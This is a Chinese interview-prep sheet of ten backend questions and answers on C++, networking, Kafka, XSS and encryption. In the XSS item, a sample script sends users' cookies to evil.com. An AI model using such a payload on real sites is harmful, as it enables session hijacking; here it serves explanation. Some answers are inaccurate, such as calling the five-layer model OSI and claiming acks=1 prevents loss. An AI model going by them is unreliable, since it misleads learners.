坚持7天,短期内快速完成C++后端面试突击。每天10题,弥补后端八股知识缺漏,熟练掌握后端的高频考点,后端面试更有把握。
1. 如何避免拷贝
避免拷贝是为了提高程序的性能和效率,尤其在处理大量数据或频繁进行对象复制时尤为重要。以下是一些避免拷贝的常见方法:
-
使用引用传递:
- 将参数传递给函数时,尽量使用引用而不是传值。引用传递不会进行对象的拷贝,而是直接操作原始对象。
- 使用
const
引用可以避免对对象进行修改,同时也避免了拷贝。
-
使用移动语义:
- 对于临时对象或将要销毁的对象,可以使用移动语义来避免拷贝开销。移动语义通过将资源(如内存、文件句柄等)的所有权从一个对象转移到另一个对象,避免了额外的拷贝操作。
- C++11 中引入了移动语义的支持,可以通过移动构造函数和移动赋值运算符来实现。
-
返回对象时使用引用或移动:
- 当函数需要返回一个对象时,可以使用引用或移动来避免拷贝。返回对象的引用或将对象移动出函数都可以避免额外的拷贝操作。
- 使用
std::move()
可以将对象转移出函数,避免拷贝。
-
使用智能指针:
- 使用智能指针(如
std::shared_ptr
、std::unique_ptr
)来管理动态分配的资源,避免手动管理内存和频繁的对象拷贝。 - 智能指针可以自动管理资源的生命周期,避免了手动释放内存和拷贝资源的开销。
- 使用智能指针(如
-
使用对象池:
- 对于需要频繁创建和销毁的对象,可以使用对象池来避免频繁的内存分配和释放操作,从而提高性能。
- 对象池可以在程序启动时预先分配一定数量的对象,并在需要时从池中获取对象,而不是每次都新建对象。
通过以上方法,可以有效地避免不必要的对象拷贝,提高程序的性能和效率。选择合适的方法取决于具体的场景和需求。
2. IP 地址有哪些分类?
IP 地址(Internet Protocol Address)根据其网络标识和主机标识的不同,一般分为 IPv4 和 IPv6 两种版本。而在 IPv4 中,根据 IP 地址的网络标识(网络号)的不同,又可以分为以下几种分类:
-
A 类地址:
- A 类地址是指网络号占用 1 个字节,主机号占用 3 个字节的 IP 地址。即形如 0.0.0.0 到 127.255.255.255 的地址范围。
- A 类地址范围较广,可容纳大量主机,适用于大型网络。
-
B 类地址:
- B 类地址是指网络号占用 2 个字节,主机号占用 2 个字节的 IP 地址。即形如 128.0.0.0 到 191.255.255.255 的地址范围。
- B 类地址范围适中,可容纳中等规模的网络。
-
C 类地址:
- C 类地址是指网络号占用 3 个字节,主机号占用 1 个字节的 IP 地址。即形如 192.0.0.0 到 223.255.255.255 的地址范围。
- C 类地址范围较窄,但可容纳大量小型网络。
-
D 类地址:
- D 类地址是用于多播(Multicast)通信的特殊地址,范围为 224.0.0.0 到 239.255.255.255。多播地址用于向一组特定的主机发送数据。
-
E 类地址:
- E 类地址是保留地址,用于实验和未分配的地址范围,范围为 240.0.0.0 到 255.255.255.255。
以上是 IPv4 地址的分类,而 IPv6 地址则更加灵活,采用了更长的地址位(128 位),不再采用类别划分,而是采用前缀长度(Prefix Length)来划分地址的范围。IPv6 地址的范围更加广阔,可以支持更多的设备连接到互联网上。
3. 简述 Kafka 的 ack 的三种机制
Kafka 中的 ACK(Acknowledgement)机制是指生产者发送消息后,接收者确认接收消息的方式。Kafka 提供了三种 ACK 机制,分别是:0、1 和 -1。下面对这三种机制进行简要说明:
-
ACK=0:
- 当生产者发送消息后,不会等待任何确认,直接将消息发送到主题的分区中,并认为消息已经发送成功。
- 这种模式下,消息发送的速度最快,但存在消息丢失的风险,因为生产者无法得知消息是否成功被写入到分区中。
-
ACK=1:
- 当生产者发送消息后,等待分区的 Leader 接收消息,并将消息写入到 Leader 所在的分区中。一旦消息被 Leader 接收并写入,生产者会收到一个确认。
- 这种模式下,消息发送的速度比 ACK=0 慢一些,但能够保证消息不会丢失,因为 Leader 接收到消息后会立即向生产者发送确认。
-
ACK=all/-1:
- 当生产者发送消息后,等待所有 ISR(In-Sync Replicas)副本接收消息并写入到它们的本地日志中,并等待 Leader 副本向所有 ISR 副本发送确认。
- 这种模式下,消息发送的速度最慢,但能够提供最高的消息可靠性,因为所有 ISR 副本都确认接收到消息并将其写入到本地日志后,才会向生产者发送确认。
通常情况下,推荐使用 ACK=1 或 ACK=all/-1 来保证消息的可靠性。
4. 谈谈你对滑动窗口的了解?
滑动窗口(Sliding Window)是一种常用的算法和技术,在计算机科学和通信领域有着广泛的应用。它主要用于实现流量控制、拥塞控制和序列号管理等功能。以下是关于滑动窗口的一些基本概念和应用:
-
基本概念:
- 滑动窗口是一个连续的窗口,它可以在数据流中滑动并在其中承载一定数量的数据。
- 窗口的大小决定了窗口中可以容纳的数据量,而滑动的步长则决定了窗口如何在数据流中移动。
- 滑动窗口通常由左边界和右边界组成,左边界表示窗口的起始位置,右边界表示窗口的结束位置。
-
应用场景:
- 流量控制:在数据通信中,滑动窗口可以用来控制发送方和接收方之间的数据流量,确保发送方发送的数据不会超出接收方的处理能力范围。
- 拥塞控制:在网络通信中,滑动窗口可以用来调节发送方发送数据的速率,以避免网络拥塞导致丢包和传输延迟增加。
- 序列号管理:在数据传输中,滑动窗口可以用来管理数据包的序列号,确保数据包的顺序传输和可靠接收。
-
工作原理:
- 发送方和接收方都维护一个滑动窗口,其中包含了已发送但未确认的数据包序列号。
- 发送方根据接收方的确认信息来调整窗口的大小和滑动的步长,以实现流量控制和拥塞控制。
- 接收方通过确认信息来指示发送方可以发送的数据量,从而控制发送方的发送速率。
-
算法和优化:
- 滑动窗口算法有多种实现方式,包括固定窗口大小、可变窗口大小、动态窗口大小等。
- 为了提高效率和性能,可以采用一些优化策略,如快速重传、选择性重传、累积确认等。
5. 谈一谈 XSS 攻击,举个例子?
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用该漏洞向网页中注入恶意脚本代码,从而在用户浏览器中执行恶意操作。这些恶意脚本通常用于窃取用户信息、会话劫持、钓鱼攻击等恶意行为。
以下是一个简单的 XSS 攻击例子:
假设有一个简单的网站,允许用户在页面中提交评论,并且在页面上显示用户提交的评论内容。评论功能的实现可能是这样的:
<!DOCTYPE html>
<html>
<head><title>评论页面</title>
</head>
<body><h1>评论页面</h1><form action="/submit_comment" method="post"><textarea name="comment" rows="4" cols="50"></textarea><br><input type="submit" value="提交评论"></form><h2>用户评论:</h2><div id="comments"><!-- 用户提交的评论会在这里显示 --></div>
</body>
</html>
在这个页面中,用户可以在文本框中输入评论内容,并通过提交按钮将评论提交到服务器。服务器会将用户提交的评论内容存储到数据库中,并在页面上显示出来。
攻击者可以利用这个评论功能来进行 XSS 攻击。攻击者可能在评论中插入恶意脚本代码,例如:
<script>// 恶意脚本,窃取用户 cookievar img = new Image();img.src = 'http://evil.com/steal?cookie=' + document.cookie;
</script>
如果服务器端未对用户提交的评论内容进行过滤或转义处理,那么这段恶意脚本代码会被存储到数据库中,并在页面上显示出来。当其他用户访问该页面时,浏览器会执行这段恶意脚本代码,从而导致用户的 cookie 被窃取。
为了防止 XSS 攻击,应当对用户提交的内容进行严格的输入验证、输出编码和过滤处理,确保不会执行恶意脚本代码。
6. 讲一下网络五层模型,每一层的职责?
网络五层模型是指 OSI(Open Systems Interconnection)参考模型,它将计算机网络通信分为五个抽象层次,每个层次都有不同的职责和功能。以下是网络五层模型各层的简要介绍:
-
物理层(Physical Layer):
- 物理层是网络五层模型中的最底层,负责传输原始比特流,通过物理介质(如光缆、电缆、无线电波等)将数据从发送方传输到接收方。
- 物理层主要关注数据的传输和信号的编码、调制、解调、时序控制等技术细节,以确保数据能够在物理媒介上可靠传输。
-
数据链路层(Data Link Layer):
- 数据链路层位于物理层之上,负责将原始的比特流转换成数据帧,并进行逐段的传输。它通过物理地址(MAC 地址)来标识网络中的设备。
- 数据链路层提供了数据的可靠传输,通过检错、纠错、重发等机制来保证数据的完整性和可靠性。
-
网络层(Network Layer):
- 网络层位于数据链路层之上,主要负责在网络中实现主机之间的通信和数据路由。它通过 IP 地址来标识网络中的设备。
- 网络层主要实现数据的分组、路由选择、拥塞控制等功能,以保证数据能够在不同的网络之间传输。
-
传输层(Transport Layer):
- 传输层位于网络层之上,主要负责实现端到端的通信和数据传输。它通过端口号来标识主机上的应用程序。
- 传输层提供了数据的可靠传输和流量控制功能,主要通过 TCP(Transmission Control Protocol)和 UDP(User Datagram Protocol)来实现。
-
应用层(Application Layer):
- 应用层位于传输层之上,负责为用户提供各种网络服务和应用程序。常见的网络应用包括 Web 浏览器、电子邮件、文件传输等。
- 应用层定义了网络协议、数据格式和通信规则,以便不同的应用程序能够进行通信和交互。
7. 简单说下 HTTPS 和 HTTP 的区别
HTTP(Hypertext Transfer Protocol)和HTTPS(Hypertext Transfer Protocol Secure)都是用于在客户端和服务器之间传输数据的协议,但它们之间有几个关键的区别:
-
安全性:
- HTTP 是明文传输协议,数据在传输过程中不加密,因此容易被窃听和篡改。攻击者可以轻松地截取传输的数据,并且对数据进行修改。
- HTTPS 在 HTTP 的基础上添加了 SSL/TLS 加密层,使用公钥加密和私钥解密的方式对数据进行加密传输,因此能够确保数据在传输过程中的安全性和完整性,防止数据被窃听和篡改。
-
通信方式:
- HTTP 使用的是明文传输,数据以纯文本形式传输,不经过加密处理。
- HTTPS 使用 SSL/TLS 加密协议对数据进行加密传输,客户端和服务器之间的通信是加密的。
-
端口:
- HTTP 默认使用的端口是 80,而 HTTPS 默认使用的端口是 443。这两个协议的端口不同,使得服务器能够根据端口来区分不同的传输协议。
-
证书:
- 在使用 HTTPS 协议时,服务器必须使用 SSL/TLS 证书来验证自己的身份,并向客户端提供证书。客户端可以通过证书来验证服务器的真实性,并建立安全连接。
- HTTP 不需要使用证书,因为它不涉及加密和身份验证。
HTTPS 在 HTTP 的基础上增加了安全性和加密传输的功能,通过 SSL/TLS 加密协议保护数据的安全性和完整性,使得数据在传输过程中不易被窃听和篡改,因此更适合传输敏感信息和保护用户隐私。
8. 对称加密与非对称加密的区别
对称加密和非对称加密是两种常见的加密算法,它们之间的主要区别在于密钥的使用方式和加密解密过程。
-
对称加密:
- 对称加密算法使用相同的密钥(称为对称密钥)来进行加密和解密操作。
- 加密和解密过程中使用的密钥是相同的,因此对称加密算法通常速度较快,适合用于大数据量的加密和解密。
- 常见的对称加密算法包括 DES(Data Encryption Standard)、AES(Advanced Encryption Standard)等。
-
非对称加密:
- 非对称加密算法使用一对密钥,分别是公钥和私钥。公钥用于加密数据,私钥用于解密数据。
- 加密和解密过程中使用的密钥是不同的,公钥是公开的,而私钥是保密的。
- 非对称加密算法相对于对称加密算法更安全,因为即使攻击者获得了公钥,也无法通过公钥推导出私钥。
- 常见的非对称加密算法包括 RSA(Rivest-Shamir-Adleman)、DSA(Digital Signature Algorithm)等。
对称加密使用相同的密钥进行加密和解密,速度较快但需要保护密钥的安全性;非对称加密使用不同的密钥进行加密和解密,安全性较高但速度较慢。通常情况下,对称加密算法用于数据加密和解密,而非对称加密算法用于安全通信、数字签名等场景。
9. 请简述同步回调和异步回调的不同有哪些?
同步回调和异步回调是两种常见的回调方式,它们之间的主要区别在于调用方和被调用方之间的等待方式和通信机制。
-
同步回调:
- 在同步回调中,调用方发起调用请求后会立即等待被调用方的执行结果,直到被调用方执行完毕并返回结果后,调用方才能继续执行后续的操作。
- 同步回调会阻塞调用方的执行线程,直到回调函数执行完成,因此如果被调用方的执行时间较长,会导致调用方的性能受到影响。
-
异步回调:
- 在异步回调中,调用方发起调用请求后不会立即等待被调用方的执行结果,而是继续执行后续的操作。被调用方会在后台执行,执行完毕后会通过回调函数将结果返回给调用方。
- 异步回调不会阻塞调用方的执行线程,因此可以提高调用方的并发能力和性能。
主要区别总结如下:
- 同步回调是在调用方等待被调用方执行完成后再继续执行后续操作,而异步回调是在调用方不等待被调用方执行完成而继续执行后续操作。
- 同步回调会阻塞调用方的执行线程,而异步回调不会阻塞调用方的执行线程,可以提高并发能力和性能。
选择使用同步回调还是异步回调取决于具体的应用场景和需求。如果需要在调用方等待结果的情况下执行后续操作,可以选择同步回调;如果不需要等待结果或者需要提高并发能力和性能,可以选择异步回调。
10. ARP 协议的工作原理?
ARP(Address Resolution Protocol)是一种用于将 IP 地址解析为 MAC 地址的网络协议,它的主要作用是在局域网中根据目标主机的 IP 地址查找对应的 MAC 地址。
ARP 协议的工作原理如下:
-
ARP 请求:
- 当一台主机需要向另一台主机发送数据时,首先会检查目标主机的 IP 地址是否在同一局域网中。
- 如果目标主机的 IP 地址与当前主机不在同一局域网中,那么当前主机将通过默认网关将数据发送到其他网络。
- 如果目标主机的 IP 地址与当前主机在同一局域网中,那么当前主机会发送一个 ARP 请求广播包,其中包含了目标主机的 IP 地址,请求对应的 MAC 地址。
-
ARP 响应:
- 接收到 ARP 请求的目标主机收到请求后,会检查自己的 ARP 缓存表(ARP Cache)中是否已经存储了对应 IP 地址的 MAC 地址。
- 如果在 ARP 缓存表中找到了对应的记录,目标主机会将自己的 MAC 地址作为 ARP 响应发送给请求方。
- 如果在 ARP 缓存表中未找到对应的记录,目标主机会将自己的 MAC 地址作为 ARP 响应发送给请求方,并将 IP 地址与 MAC 地址的对应关系存储到 ARP 缓存表中。
-
ARP 缓存表:
- ARP 缓存表是每台主机上保存 IP 地址与 MAC 地址对应关系的一个表格,用于加速 ARP 请求的处理。
- 当主机发送数据时,会首先检查 ARP 缓存表中是否已经有了目标主机的 MAC 地址,如果有则可以直接发送数据;如果没有则需要发送 ARP 请求。
ARP 协议通过 ARP 请求和 ARP 响应来实现 IP 地址到 MAC 地址的解析过程,以确保在局域网中能够准确地将数据发送到目标主机。